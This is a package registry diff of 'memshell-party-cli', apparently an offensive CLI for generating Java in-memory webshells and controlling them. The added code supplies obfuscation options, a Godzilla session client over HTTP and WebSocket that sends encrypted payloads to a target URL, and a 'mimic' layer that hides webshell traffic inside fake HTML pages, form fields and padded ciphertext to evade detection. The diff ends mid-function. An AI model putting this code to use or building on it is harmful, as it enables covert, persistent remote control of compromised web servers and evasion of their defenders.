memshell-party-cli 0.7.0 → 0.8.1

This diff represents the content of publicly available package versions that have been released to one of the supported registries. The information contained in this diff is provided for informational purposes only and reflects changes between package versions as they appear in their respective public registries.
package/dist/index.js CHANGED
@@ -15,6 +15,7 @@ var MemPartyClient = class {
15
15
  baseUrl;
16
16
  fetchImpl;
17
17
  timeoutMs;
18
+ generationApiVersion;
18
19
  constructor(options) {
19
20
  this.baseUrl = options.baseUrl.replace(/\/+$/, "");
20
21
  this.fetchImpl = options.fetch ?? globalThis.fetch;
@@ -26,8 +27,14 @@ var MemPartyClient = class {
26
27
  }
27
28
  }
28
29
  // ---------- config ----------
29
- getServers() {
30
- return this.request("GET", "/api/config/servers");
30
+ async getServers() {
31
+ const config = await this.getConfig();
32
+ return Object.fromEntries(
33
+ Object.entries(config).map(([server, tools]) => [
34
+ server,
35
+ [...new Set(Object.values(tools).flat())]
36
+ ])
37
+ );
31
38
  }
32
39
  getConfig() {
33
40
  return this.request("GET", "/api/config");
@@ -35,28 +42,76 @@ var MemPartyClient = class {
35
42
  getPackerTree() {
36
43
  return this.request("GET", "/api/config/packers/tree");
37
44
  }
38
- getPackers() {
39
- return this.request("GET", "/api/config/packers");
45
+ async getPackers() {
46
+ try {
47
+ return await this.request("GET", "/api/config/packers");
48
+ } catch (err) {
49
+ if (!(err instanceof ApiError) || err.status !== 404) throw err;
50
+ return (await this.getPackerTree()).map((packer) => packer.name);
51
+ }
40
52
  }
41
- getCommandConfigs() {
53
+ async getCommandConfigs() {
54
+ const configs = await this.getShellToolConfigs();
55
+ const command = configs.find((config) => config.tool === "Command");
56
+ if (command) {
57
+ return {
58
+ encryptors: command.params.find((param) => param.name === "encryptor")?.options ?? [],
59
+ implementationClasses: command.params.find((param) => param.name === "implementationClass")?.options ?? []
60
+ };
61
+ }
42
62
  return this.request("GET", "/api/config/command/configs");
43
63
  }
44
- /**
45
- * Servers the ResponseBody probe can write a response on.
46
- * Only exists on backend >= 2.9.0 — callers should fall back to the full
47
- * server list when this endpoint 404s.
48
- */
49
- getProbeResponseBodyServers() {
50
- return this.request("GET", "/api/config/probe/response-body/servers");
64
+ async getShellToolConfigs() {
65
+ try {
66
+ return await this.request("GET", "/api/config/shelltool/configs");
67
+ } catch (err) {
68
+ if (err instanceof ApiError && err.status === 404) return [];
69
+ throw err;
70
+ }
71
+ }
72
+ getObfuscationOptions() {
73
+ return this.request("GET", "/api/config/obfuscation/options");
74
+ }
75
+ async getProbeResponseServers() {
76
+ try {
77
+ return await this.request("GET", "/api/config/probe/response/servers");
78
+ } catch (err) {
79
+ if (err instanceof ApiError && err.status === 404) return [];
80
+ throw err;
81
+ }
51
82
  }
52
83
  getVersion() {
53
84
  return this.request("GET", "/api/version");
54
85
  }
86
+ async getPlugins() {
87
+ try {
88
+ return await this.request("GET", "/api/plugins");
89
+ } catch (err) {
90
+ if (err instanceof ApiError && err.status === 404) return [];
91
+ throw err;
92
+ }
93
+ }
55
94
  // ---------- generation ----------
56
- generateMemShell(req) {
57
- return this.request("POST", "/api/memshell/generate", {
58
- json: req
59
- });
95
+ async generateMemShell(req) {
96
+ const apiVersion = await this.getGenerationApiVersion();
97
+ try {
98
+ return await this.request("POST", "/api/memshell/generate", {
99
+ json: apiVersion === "v2" ? toLegacyMemShellRequest(req) : req
100
+ });
101
+ } catch (err) {
102
+ if (apiVersion === "v3" && err instanceof ApiError && /Unsupported packer:/.test(err.message)) {
103
+ throw new ApiError(
104
+ `${err.message}. On v3, packer groups are only categories; choose a leaf from 'memparty config packers' (e.g. DefaultBase64, not Base64).`,
105
+ err.status,
106
+ err.url
107
+ );
108
+ }
109
+ throw err;
110
+ }
111
+ }
112
+ getGenerationApiVersion() {
113
+ this.generationApiVersion ??= this.getVersion().then((version2) => Number(version2.currentVersion.split(".")[0]) >= 3 ? "v3" : "v2").catch(() => "v3");
114
+ return this.generationApiVersion;
60
115
  }
61
116
  generateProbe(req) {
62
117
  return this.request("POST", "/api/probe/generate", {
@@ -70,6 +125,16 @@ var MemPartyClient = class {
70
125
  raw: true
71
126
  });
72
127
  }
128
+ decodeBytecode(classBase64) {
129
+ return this.request("POST", "/api/bytecode/decode", {
130
+ text: classBase64
131
+ });
132
+ }
133
+ transformBytecode(req) {
134
+ return this.request("POST", "/api/bytecode/transform", {
135
+ json: req
136
+ });
137
+ }
73
138
  // ---------- transport ----------
74
139
  async request(method, path, opts = {}) {
75
140
  const url = `${this.baseUrl}${path}`;
@@ -123,10 +188,151 @@ var MemPartyClient = class {
123
188
  return JSON.parse(rawText);
124
189
  }
125
190
  };
191
+ function toLegacyMemShellRequest(req) {
192
+ const { pass, key, paramName, template, ...common } = req.shellToolConfig;
193
+ const { obfuscation: _obfuscation, obfuscationScope: _obfuscationScope, ...shellConfig } = req.shellConfig;
194
+ return {
195
+ ...req,
196
+ shellConfig: {
197
+ ...shellConfig,
198
+ probe: shellConfig.probe ? true : void 0
199
+ },
200
+ shellToolConfig: {
201
+ ...common,
202
+ godzillaPass: req.shellConfig.shellTool.startsWith("Godzilla") ? pass : void 0,
203
+ godzillaKey: key,
204
+ commandParamName: paramName,
205
+ commandTemplate: template,
206
+ behinderPass: req.shellConfig.shellTool === "Behinder" ? pass : void 0,
207
+ antSwordPass: req.shellConfig.shellTool === "AntSword" ? pass : void 0
208
+ }
209
+ };
210
+ }
126
211
 
127
212
  // src/core/request-builder.ts
128
213
  import { randomInt } from "crypto";
129
214
 
215
+ // src/core/shell-tool-config.ts
216
+ function toolConfigForTool(configs, tool) {
217
+ return configs.find((config) => config.tool === tool);
218
+ }
219
+ function parseShellToolConfig(assignments, params) {
220
+ const result = {};
221
+ for (const assignment of assignments ?? []) {
222
+ const separator = assignment.indexOf("=");
223
+ if (separator <= 0) {
224
+ throw new Error(`Invalid --tool-option "${assignment}". Expected name=value.`);
225
+ }
226
+ const name = assignment.slice(0, separator).trim();
227
+ const rawValue = assignment.slice(separator + 1);
228
+ if (!name) throw new Error(`Invalid --tool-option "${assignment}". Expected name=value.`);
229
+ const param = params?.find((candidate) => candidate.name === name);
230
+ if (params !== void 0 && param === void 0) {
231
+ throw new Error(
232
+ `Unknown shell tool option "${name}". Available options: ${params.map((item) => item.name).join(", ") || "(none)"}.`
233
+ );
234
+ }
235
+ if (param?.type === "object") {
236
+ result[name] = parseJsonObject(rawValue, `--tool-option ${name}`);
237
+ } else if (rawValue.startsWith("{")) {
238
+ result[name] = parseJsonObject(rawValue, `--tool-option ${name}`);
239
+ } else {
240
+ result[name] = rawValue;
241
+ }
242
+ }
243
+ return result;
244
+ }
245
+ function parseToolConfigFile(source, params) {
246
+ const parsed = parseJsonObject(source, "--tool-config");
247
+ const assignments = Object.entries(parsed).map(([name, value]) => {
248
+ if (typeof value === "string") return `${name}=${value}`;
249
+ return `${name}=${JSON.stringify(value)}`;
250
+ });
251
+ return parseShellToolConfig(assignments, params);
252
+ }
253
+ function validateRequiredRemoteOptions(config, params) {
254
+ const missing = (params ?? []).filter((param) => param.ui?.kind === "remote-select" && param.ui.required).filter((param) => {
255
+ const value = config[param.name];
256
+ return value === void 0 || typeof value === "string" && value.trim() === "";
257
+ }).map((param) => param.name);
258
+ if (missing.length > 0) {
259
+ throw new Error(
260
+ `Missing required remote shell tool option(s): ${missing.join(", ")}. Provide them with --tool-option or --tool-config.`
261
+ );
262
+ }
263
+ }
264
+ function parseJsonObject(source, label) {
265
+ let parsed;
266
+ try {
267
+ parsed = JSON.parse(source);
268
+ } catch (err) {
269
+ throw new Error(`${label} must be valid JSON: ${err.message}`);
270
+ }
271
+ if (typeof parsed !== "object" || parsed === null || Array.isArray(parsed)) {
272
+ throw new Error(`${label} must be a JSON object.`);
273
+ }
274
+ return parsed;
275
+ }
276
+ function readRemotePath(value, path) {
277
+ if (!path) return value;
278
+ let current = value;
279
+ for (const segment of path.split(".")) {
280
+ if (!segment || typeof current !== "object" || current === null || Array.isArray(current) || !(segment in current)) {
281
+ return void 0;
282
+ }
283
+ current = current[segment];
284
+ }
285
+ return current;
286
+ }
287
+ function normalizeRemoteOptions(payload, hint, objectMode) {
288
+ const items = readRemotePath(payload, hint.itemsPath);
289
+ if (!Array.isArray(items)) {
290
+ throw new Error("Remote options response does not contain an array at itemsPath.");
291
+ }
292
+ return items.map((item) => {
293
+ if (typeof item !== "object" || item === null || Array.isArray(item)) {
294
+ throw new Error("Remote option items must be objects.");
295
+ }
296
+ const rawLabel = readRemotePath(item, hint.labelPath);
297
+ if (typeof rawLabel !== "string" && typeof rawLabel !== "number") {
298
+ throw new Error("Remote option labels must be strings or numbers.");
299
+ }
300
+ if (objectMode) return { label: String(rawLabel), value: item };
301
+ if (!hint.valuePath) throw new Error("String remote options require valuePath.");
302
+ const rawValue = readRemotePath(item, hint.valuePath);
303
+ if (typeof rawValue !== "string" && typeof rawValue !== "number") {
304
+ throw new Error("Remote option values must be strings or numbers.");
305
+ }
306
+ return { label: String(rawLabel), value: String(rawValue) };
307
+ });
308
+ }
309
+ function validateRemoteOptionsUrl(value) {
310
+ const url = new URL(value);
311
+ if (url.protocol !== "http:" && url.protocol !== "https:") {
312
+ throw new Error("Remote options URL must use HTTP or HTTPS.");
313
+ }
314
+ return url.toString();
315
+ }
316
+ async function fetchRemoteOptions(sourceUrl, hint, objectMode, fetchImpl = globalThis.fetch, signal) {
317
+ const url = validateRemoteOptionsUrl(sourceUrl);
318
+ const response = await fetchImpl(url, {
319
+ method: "GET",
320
+ headers: { Accept: "application/json" },
321
+ redirect: "follow",
322
+ signal
323
+ });
324
+ if (!response.ok) {
325
+ throw new Error(`Remote options request failed (${response.status} ${response.statusText}).`);
326
+ }
327
+ let payload;
328
+ try {
329
+ payload = await response.json();
330
+ } catch {
331
+ throw new Error("Remote options response must be valid JSON.");
332
+ }
333
+ return normalizeRemoteOptions(payload, hint, objectMode);
334
+ }
335
+
130
336
  // src/core/jdk.ts
131
337
  var JDK_VERSIONS = {
132
338
  java6: 50,
@@ -134,7 +340,8 @@ var JDK_VERSIONS = {
134
340
  java9: 53,
135
341
  java11: 55,
136
342
  java17: 61,
137
- java21: 65
343
+ java21: 65,
344
+ java25: 69
138
345
  };
139
346
  function resolveJreVersion(input) {
140
347
  if (input === void 0 || input === "") return void 0;
@@ -169,6 +376,7 @@ function generateSpringExpressionInjectorClassName() {
169
376
  return `org.springframework.expression.${randomChar(UPPERCASE_LETTERS)}${randomName}Util`;
170
377
  }
171
378
  function buildMemShellRequest(opts) {
379
+ validateRequiredRemoteOptions(opts.shellToolConfig ?? {}, opts.shellToolParams);
172
380
  const injectorClassName = SPRING_GZIP_JDK17_RELATED_PACKERS.has(opts.packer) ? generateSpringExpressionInjectorClassName() : opts.injectorClassName;
173
381
  return {
174
382
  shellConfig: {
@@ -181,21 +389,22 @@ function buildMemShellRequest(opts) {
181
389
  byPassJavaModule: opts.byPassJavaModule,
182
390
  shrink: opts.shrink,
183
391
  lambdaSuffix: opts.lambdaSuffix,
184
- probe: opts.probe
392
+ probe: opts.probe ? { probeMethod: "ResponseBody", probeContent: "Bytecode" } : void 0,
393
+ obfuscation: opts.obfuscate || opts.obfuscationOptions !== void 0 ? { enabled: true, options: opts.obfuscationOptions } : void 0,
394
+ obfuscationScope: opts.obfuscationScope
185
395
  },
186
396
  shellToolConfig: {
187
397
  shellClassName: opts.shellClassName,
188
- godzillaPass: opts.godzillaPass,
189
- godzillaKey: opts.godzillaKey,
190
- commandParamName: opts.commandParamName,
191
- commandTemplate: opts.commandTemplate,
192
- behinderPass: opts.behinderPass,
193
- antSwordPass: opts.antSwordPass,
398
+ pass: opts.godzillaPass ?? opts.behinderPass ?? opts.antSwordPass,
399
+ key: opts.godzillaKey,
400
+ paramName: opts.commandParamName,
401
+ template: opts.commandTemplate,
194
402
  headerName: opts.headerName,
195
403
  headerValue: opts.headerValue,
196
404
  shellClassBase64: opts.shellClassBase64,
197
405
  encryptor: opts.encryptor,
198
- implementationClass: opts.implementationClass
406
+ implementationClass: opts.implementationClass,
407
+ ...opts.shellToolConfig
199
408
  },
200
409
  injectorConfig: {
201
410
  injectorClassName,
@@ -216,7 +425,8 @@ function buildProbeRequest(opts) {
216
425
  byPassJavaModule: opts.byPassJavaModule,
217
426
  shrink: opts.shrink,
218
427
  staticInitialize: opts.staticInitialize,
219
- lambdaSuffix: opts.lambdaSuffix
428
+ lambdaSuffix: opts.lambdaSuffix,
429
+ obfuscation: opts.obfuscate || opts.obfuscationOptions !== void 0 ? { enabled: true, options: opts.obfuscationOptions } : void 0
220
430
  },
221
431
  probeContentConfig: {
222
432
  host: opts.host,
@@ -224,7 +434,8 @@ function buildProbeRequest(opts) {
224
434
  sleepServer: opts.sleepServer,
225
435
  server: opts.server,
226
436
  reqParamName: opts.reqParamName,
227
- commandTemplate: opts.commandTemplate
437
+ commandTemplate: opts.commandTemplate,
438
+ respHeaderName: opts.respHeaderName
228
439
  },
229
440
  packer: opts.packer
230
441
  };
@@ -376,7 +587,7 @@ function formatOp(e) {
376
587
  // src/mcp/server.ts
377
588
  import { McpServer } from "@modelcontextprotocol/sdk/server/mcp.js";
378
589
  import { StdioServerTransport } from "@modelcontextprotocol/sdk/server/stdio.js";
379
- import { writeFileSync as writeFileSync3 } from "fs";
590
+ import { writeFileSync as writeFileSync4 } from "fs";
380
591
  import { z } from "zod";
381
592
 
382
593
  // src/connect/assets.ts
@@ -667,6 +878,20 @@ function postRaw(url, body, options = {}) {
667
878
  return new Promise((resolve2, reject) => {
668
879
  const started = Date.now();
669
880
  const transport = isHttps ? https : http;
881
+ const onResponse = (res) => {
882
+ const chunks = [];
883
+ res.on("data", (chunk) => chunks.push(chunk));
884
+ res.on(
885
+ "end",
886
+ () => resolve2({
887
+ status: res.statusCode ?? 0,
888
+ headers: res.headers,
889
+ body: Buffer.concat(chunks),
890
+ durationMs: Date.now() - started
891
+ })
892
+ );
893
+ res.on("error", (err) => reject(new HttpRequestError(err.message, url, err)));
894
+ };
670
895
  const req = transport.request(
671
896
  {
672
897
  method: "POST",
@@ -684,21 +909,9 @@ function postRaw(url, body, options = {}) {
684
909
  timeout: timeoutMs,
685
910
  ...isHttps && insecure ? { rejectUnauthorized: false } : {}
686
911
  },
687
- (res) => {
688
- const chunks = [];
689
- res.on("data", (chunk) => chunks.push(chunk));
690
- res.on(
691
- "end",
692
- () => resolve2({
693
- status: res.statusCode ?? 0,
694
- headers: res.headers,
695
- body: Buffer.concat(chunks),
696
- durationMs: Date.now() - started
697
- })
698
- );
699
- res.on("error", (err) => reject(new HttpRequestError(err.message, url, err)));
700
- }
912
+ onResponse
701
913
  );
914
+ req.on("upgrade", onResponse);
702
915
  req.on("timeout", () => req.destroy(new Error(`request timed out after ${timeoutMs} ms`)));
703
916
  req.on("error", (err) => reject(new HttpRequestError(err.message, url, err)));
704
917
  req.write(body);
@@ -1124,6 +1337,57 @@ async function uploadBehinder(url, pass, remotePath, data, options = {}) {
1124
1337
 
1125
1338
  // src/connect/godzilla.ts
1126
1339
  import iconv from "iconv-lite";
1340
+
1341
+ // src/connect/websocket.ts
1342
+ import WebSocket from "ws";
1343
+ function isWebSocketUrl(url) {
1344
+ return /^wss?:\/\//i.test(url);
1345
+ }
1346
+ function requestWebSocket(url, body, options = {}) {
1347
+ let target;
1348
+ try {
1349
+ target = new URL(url);
1350
+ } catch {
1351
+ return Promise.reject(new Error(`invalid WebSocket URL: ${url}`));
1352
+ }
1353
+ if (target.protocol !== "ws:" && target.protocol !== "wss:") {
1354
+ return Promise.reject(new Error(`unsupported WebSocket protocol: ${target.protocol}`));
1355
+ }
1356
+ const timeoutMs = options.timeoutMs ?? 3e4;
1357
+ return new Promise((resolve2, reject) => {
1358
+ const socket = new WebSocket(target, {
1359
+ headers: buildHeaders({}, options),
1360
+ handshakeTimeout: timeoutMs,
1361
+ rejectUnauthorized: !options.insecure,
1362
+ perMessageDeflate: false,
1363
+ maxPayload: 256 * 1024 * 1024
1364
+ });
1365
+ let timer;
1366
+ let settled = false;
1367
+ const finish = (error, result) => {
1368
+ if (settled) return;
1369
+ settled = true;
1370
+ if (timer) clearTimeout(timer);
1371
+ timer = void 0;
1372
+ socket.removeAllListeners();
1373
+ if (error) reject(error);
1374
+ else resolve2(result);
1375
+ socket.close();
1376
+ };
1377
+ timer = setTimeout(() => finish(new Error(`WebSocket request timed out after ${timeoutMs}ms`)), timeoutMs);
1378
+ socket.once("open", () => socket.send(body));
1379
+ socket.on("message", (data, isBinary) => {
1380
+ finish(isBinary ? void 0 : new Error("expected a binary Godzilla WebSocket response"), data);
1381
+ });
1382
+ socket.once("close", () => finish(new Error("WebSocket closed without a response")));
1383
+ socket.once("error", (error) => finish(error));
1384
+ socket.once("unexpected-response", (_request, response) => {
1385
+ finish(new Error(`WebSocket handshake failed: HTTP ${response.statusCode ?? 0}`));
1386
+ });
1387
+ });
1388
+ }
1389
+
1390
+ // src/connect/godzilla.ts
1127
1391
  function serializeParams(params) {
1128
1392
  const parts = [];
1129
1393
  for (const [key, value] of params) {
@@ -1170,7 +1434,10 @@ async function openGodzillaSession(url, pass, key, options = {}) {
1170
1434
  const left = wrapper.slice(0, 16);
1171
1435
  const right = wrapper.slice(16);
1172
1436
  const baseHeaders = buildHeaders(
1173
- { "Content-Type": "application/x-www-form-urlencoded" },
1437
+ {
1438
+ "Content-Type": "application/x-www-form-urlencoded",
1439
+ ...options.upgradeProtocol ? { Connection: "Upgrade", Upgrade: options.upgradeProtocol } : {}
1440
+ },
1174
1441
  options
1175
1442
  );
1176
1443
  const post = (data, cookie2) => postRaw(url, encodeBody(pass, xc, data), {
@@ -1178,14 +1445,27 @@ async function openGodzillaSession(url, pass, key, options = {}) {
1178
1445
  timeoutMs: options.timeoutMs,
1179
1446
  insecure: options.insecure
1180
1447
  });
1181
- const initResponse = await post(GODZILLA_PAYLOAD_BYTES);
1182
- const cookies = extractCookies(initResponse.headers);
1183
- const cookie = cookies.length > 0 ? cookies.join("; ") : void 0;
1448
+ let cookie;
1449
+ if (isWebSocketUrl(url)) {
1450
+ await requestWebSocket(url, aesEcbEncrypt(GODZILLA_PAYLOAD_BYTES, xc), options);
1451
+ } else {
1452
+ const initResponse = await post(GODZILLA_PAYLOAD_BYTES);
1453
+ const cookies = extractCookies(initResponse.headers);
1454
+ cookie = cookies.length > 0 ? cookies.join("; ") : void 0;
1455
+ }
1184
1456
  return {
1185
1457
  async callMethod(methodName, extraParams = []) {
1186
1458
  const callData = gzip(
1187
1459
  serializeParams([["methodName", Buffer.from(methodName, "utf8")], ...extraParams])
1188
1460
  );
1461
+ if (isWebSocketUrl(url)) {
1462
+ const response = await requestWebSocket(url, aesEcbEncrypt(callData, xc), options);
1463
+ try {
1464
+ return gunzipLenient(aesEcbDecrypt(response, xc));
1465
+ } catch {
1466
+ throw new Error("WebSocket response failed to decrypt \u2014 wrong key or protocol?");
1467
+ }
1468
+ }
1189
1469
  const res = await post(callData, cookie);
1190
1470
  const text = res.body.toString("latin1");
1191
1471
  const leftIdx = text.indexOf(left);
@@ -1647,9 +1927,568 @@ async function testSuo5(url, options = {}) {
1647
1927
  };
1648
1928
  }
1649
1929
 
1930
+ // src/connect/mimic.ts
1931
+ import { randomInt as randomInt3 } from "crypto";
1932
+
1933
+ // src/core/site-profile.ts
1934
+ import { existsSync as existsSync2, mkdirSync as mkdirSync2, readdirSync, readFileSync as readFileSync3, writeFileSync as writeFileSync2 } from "fs";
1935
+ import { homedir as homedir3 } from "os";
1936
+ import { join as join3 } from "path";
1937
+ function inferBodyTemplateContentType(bodyTemplate) {
1938
+ const t = bodyTemplate.trimStart();
1939
+ if (t.startsWith("--")) return "multipart/form-data";
1940
+ if (t.startsWith("{") || t.startsWith("[")) return "application/json";
1941
+ if (t.startsWith("<")) return "text/xml";
1942
+ return null;
1943
+ }
1944
+ function profileTemplates(profile) {
1945
+ if (Array.isArray(profile.templates) && profile.templates.length > 0) {
1946
+ return profile.templates;
1947
+ }
1948
+ if (profile.template) {
1949
+ return [
1950
+ {
1951
+ title: profile.title ?? "",
1952
+ template: profile.template,
1953
+ contentType: profile.contentType ?? "text/html; charset=utf-8"
1954
+ }
1955
+ ];
1956
+ }
1957
+ return [];
1958
+ }
1959
+ function profileRequests(profile) {
1960
+ if (!profile.request) return [];
1961
+ return Array.isArray(profile.request) ? profile.request : [profile.request];
1962
+ }
1963
+ function pickRequestShape(requests) {
1964
+ if (requests.length === 0) return void 0;
1965
+ const total = requests.reduce((s, r) => s + (r.weight ?? 1), 0);
1966
+ let roll = Math.random() * total;
1967
+ for (const r of requests) {
1968
+ roll -= r.weight ?? 1;
1969
+ if (roll <= 0) return r;
1970
+ }
1971
+ return requests[requests.length - 1];
1972
+ }
1973
+ var NAME_RE = /^[A-Za-z0-9][A-Za-z0-9._-]*$/;
1974
+ var PAYLOAD_PLACEHOLDER = "{{payload}}";
1975
+ function profilesDir() {
1976
+ const override = process.env.MEMPARTY_PROFILES;
1977
+ return override ? override : join3(homedir3(), ".memparty", "profiles");
1978
+ }
1979
+ function profilePath(name) {
1980
+ return join3(profilesDir(), `${name}.json`);
1981
+ }
1982
+ function validateProfile(profile) {
1983
+ if (!NAME_RE.test(profile.name)) {
1984
+ throw new Error(
1985
+ `invalid profile name ${JSON.stringify(profile.name)} \u2014 use letters, digits, '.', '_', '-'`
1986
+ );
1987
+ }
1988
+ if (!profile.site || !/^https?:\/\//.test(profile.site)) {
1989
+ throw new Error(`profile.site must be an http(s) origin (got ${JSON.stringify(profile.site)})`);
1990
+ }
1991
+ const templates = profileTemplates(profile);
1992
+ if (templates.length === 0) {
1993
+ throw new Error("profile needs at least one template (templates[] or legacy template)");
1994
+ }
1995
+ templates.forEach((t, i) => {
1996
+ if (!t.template || !t.template.includes(PAYLOAD_PLACEHOLDER) && !/<!doctype\s+html|<html|<head/i.test(t.template)) {
1997
+ throw new Error(
1998
+ `templates[${i}].template must be a full HTML page, or carry the ${PAYLOAD_PLACEHOLDER} placeholder (any text format)`
1999
+ );
2000
+ }
2001
+ if (!t.contentType) {
2002
+ throw new Error(`templates[${i}].contentType is required (e.g. "text/html; charset=utf-8")`);
2003
+ }
2004
+ });
2005
+ if (!Array.isArray(profile.paths)) {
2006
+ throw new Error("profile.paths must be an array (may be empty)");
2007
+ }
2008
+ for (const [ri, req] of profileRequests(profile).entries()) {
2009
+ if (!req.secretField || !/^[A-Za-z0-9_.-]+$/.test(req.secretField)) {
2010
+ throw new Error(`request[${ri}].secretField must be a form-field name`);
2011
+ }
2012
+ if (req.secretIn !== void 0 && !["body", "query", "header"].includes(req.secretIn)) {
2013
+ throw new Error(`request[${ri}].secretIn must be body | query | header`);
2014
+ }
2015
+ if (req.bodyStyle !== void 0 && !["form", "json"].includes(req.bodyStyle)) {
2016
+ throw new Error(`request[${ri}].bodyStyle must be form | json`);
2017
+ }
2018
+ if (req.bodyTemplate !== void 0) {
2019
+ if (!req.bodyTemplate.includes(PAYLOAD_PLACEHOLDER)) {
2020
+ throw new Error(`request[${ri}].bodyTemplate must carry the ${PAYLOAD_PLACEHOLDER} placeholder`);
2021
+ }
2022
+ if (req.secretIn !== void 0 && req.secretIn !== "body") {
2023
+ throw new Error(`request[${ri}].bodyTemplate only applies to secretIn=body`);
2024
+ }
2025
+ }
2026
+ if (req.headers !== void 0) {
2027
+ for (const [k, v] of Object.entries(req.headers)) {
2028
+ if (typeof v !== "string" || !k) {
2029
+ throw new Error(`request[${ri}].headers must be a string map`);
2030
+ }
2031
+ }
2032
+ }
2033
+ for (const [i, f] of (req.fields ?? []).entries()) {
2034
+ if (!f.name || !/^[A-Za-z0-9_.-]+$/.test(f.name)) {
2035
+ throw new Error(`request[${ri}].fields[${i}].name must be a form-field name`);
2036
+ }
2037
+ if (f.name === req.secretField) {
2038
+ throw new Error(`request[${ri}].fields[${i}] duplicates secretField`);
2039
+ }
2040
+ }
2041
+ }
2042
+ if (profile.cipher !== void 0) {
2043
+ const c = profile.cipher;
2044
+ if (c.algorithm !== void 0 && !["aes-ecb", "aes-cbc", "xor"].includes(c.algorithm)) {
2045
+ throw new Error(`cipher.algorithm must be aes-ecb | aes-cbc | xor (got ${JSON.stringify(c.algorithm)})`);
2046
+ }
2047
+ if (c.encoding !== void 0 && !["base64", "base64url", "hex"].includes(c.encoding)) {
2048
+ throw new Error(`cipher.encoding must be base64 | base64url | hex (got ${JSON.stringify(c.encoding)})`);
2049
+ }
2050
+ if (c.marker !== void 0 && !["js-var", "html-comment"].includes(c.marker)) {
2051
+ throw new Error(`cipher.marker must be js-var | html-comment (got ${JSON.stringify(c.marker)})`);
2052
+ }
2053
+ if (c.padTail !== void 0 && typeof c.padTail !== "boolean") {
2054
+ throw new Error("cipher.padTail must be a boolean");
2055
+ }
2056
+ }
2057
+ }
2058
+ function loadProfile(name) {
2059
+ const path = profilePath(name);
2060
+ if (!existsSync2(path)) {
2061
+ throw new Error(
2062
+ `unknown profile ${JSON.stringify(name)} \u2014 scaffold one with 'memparty profile init ${name} --site <origin>' and fill in the template/paths by hand (stored: ${listProfiles().join(", ") || "(none)"})`
2063
+ );
2064
+ }
2065
+ const profile = JSON.parse(readFileSync3(path, "utf8"));
2066
+ validateProfile(profile);
2067
+ return profile;
2068
+ }
2069
+ function listProfiles() {
2070
+ const dir = profilesDir();
2071
+ if (!existsSync2(dir)) return [];
2072
+ return readdirSync(dir).filter((f) => f.endsWith(".json")).map((f) => f.slice(0, -".json".length)).sort();
2073
+ }
2074
+
2075
+ // src/connect/mimic-codecs.ts
2076
+ import { createCipheriv as createCipheriv2, createDecipheriv as createDecipheriv2, randomBytes as randomBytes3 } from "crypto";
2077
+ var LEGACY_CIPHER = {
2078
+ algorithm: "aes-ecb",
2079
+ encoding: "base64",
2080
+ padTail: false,
2081
+ marker: "js-var"
2082
+ };
2083
+ function resolveCipher(partial) {
2084
+ return { ...LEGACY_CIPHER, ...partial ?? {} };
2085
+ }
2086
+ function xorCrypt(data, key) {
2087
+ const out = Buffer.alloc(data.length);
2088
+ for (let i = 0; i < data.length; i++) out[i] = data[i] ^ key[i % key.length];
2089
+ return out;
2090
+ }
2091
+ function crypt(data, aesKey, enc, algorithm) {
2092
+ switch (algorithm) {
2093
+ case "aes-ecb":
2094
+ return enc ? aesEcbEncrypt(data, aesKey) : aesEcbDecrypt(data, aesKey);
2095
+ case "aes-cbc": {
2096
+ const key = Buffer.from(aesKey, "utf8");
2097
+ if (enc) {
2098
+ const iv = randomBytes3(16);
2099
+ const c = createCipheriv2("aes-128-cbc", key, iv);
2100
+ return Buffer.concat([iv, c.update(data), c.final()]);
2101
+ }
2102
+ const d = createDecipheriv2("aes-128-cbc", key, data.subarray(0, 16));
2103
+ return Buffer.concat([d.update(data.subarray(16)), d.final()]);
2104
+ }
2105
+ case "xor":
2106
+ return xorCrypt(data, Buffer.from(aesKey, "utf8"));
2107
+ }
2108
+ }
2109
+ function encodeBytes(data, encoding) {
2110
+ switch (encoding) {
2111
+ case "base64":
2112
+ return data.toString("base64");
2113
+ case "base64url":
2114
+ return base64UrlEncode(data);
2115
+ case "hex":
2116
+ return data.toString("hex");
2117
+ }
2118
+ }
2119
+ function decodeString(text, encoding) {
2120
+ switch (encoding) {
2121
+ case "base64":
2122
+ return Buffer.from(text, "base64");
2123
+ case "base64url":
2124
+ return base64UrlDecode(text);
2125
+ case "hex":
2126
+ return Buffer.from(text, "hex");
2127
+ }
2128
+ }
2129
+ function padTailLength(aesKey) {
2130
+ return Number.parseInt(md5Hex(aesKey).slice(0, 2), 16) % 16;
2131
+ }
2132
+ var PAD_ALPHABET = "ABCDEFGHIJKLMNOPQRSTUVWXYZabcdefghijklmnopqrstuvwxyz0123456789";
2133
+ function appendPad(text, aesKey) {
2134
+ const n = padTailLength(aesKey);
2135
+ if (n === 0) return text;
2136
+ const raw = randomBytes3(n);
2137
+ let tail = "";
2138
+ for (let i = 0; i < n; i++) tail += PAD_ALPHABET[raw[i] % PAD_ALPHABET.length];
2139
+ return text + tail;
2140
+ }
2141
+ function stripPad(text, aesKey) {
2142
+ const n = padTailLength(aesKey);
2143
+ return n === 0 ? text : text.slice(0, Math.max(0, text.length - n));
2144
+ }
2145
+ function encryptField(plaintext, aesKey, cipher = LEGACY_CIPHER) {
2146
+ let out = encodeBytes(crypt(plaintext, aesKey, true, cipher.algorithm), cipher.encoding);
2147
+ if (cipher.padTail) out = appendPad(out, aesKey);
2148
+ return out;
2149
+ }
2150
+ function decryptField(value, aesKey, cipher = LEGACY_CIPHER) {
2151
+ let text = value;
2152
+ if (cipher.padTail) text = stripPad(text, aesKey);
2153
+ return crypt(decodeString(text, cipher.encoding), aesKey, false, cipher.algorithm);
2154
+ }
2155
+ function deriveMarkers(pass, secretKey, cipher = LEGACY_CIPHER) {
2156
+ const id = md5Hex(pass + secretKey).slice(0, 5);
2157
+ if (cipher.marker === "html-comment") {
2158
+ const left2 = `<!--Re${id}_config:`;
2159
+ return { left: left2, right: "-->", wrap: (p) => `${left2}${p}-->` };
2160
+ }
2161
+ const left = `var Re${id}_config="`;
2162
+ return { left, right: '";', wrap: (p) => `<script>${left}${p}";</script>` };
2163
+ }
2164
+
2165
+ // src/connect/mimic-shared.ts
2166
+ import { randomBytes as randomBytes4, randomInt as randomInt2, randomUUID } from "crypto";
2167
+ function deriveAesKey(secretKey) {
2168
+ return md5Key16(secretKey);
2169
+ }
2170
+ function renderFieldValue(value) {
2171
+ return value.replaceAll(
2172
+ /\{\{hex:(\d+)\}\}/g,
2173
+ (_m, n) => randomBytes4(Math.ceil(Number(n) / 2)).toString("hex").slice(0, Number(n))
2174
+ ).replaceAll(
2175
+ /\{\{b64:(\d+)\}\}/g,
2176
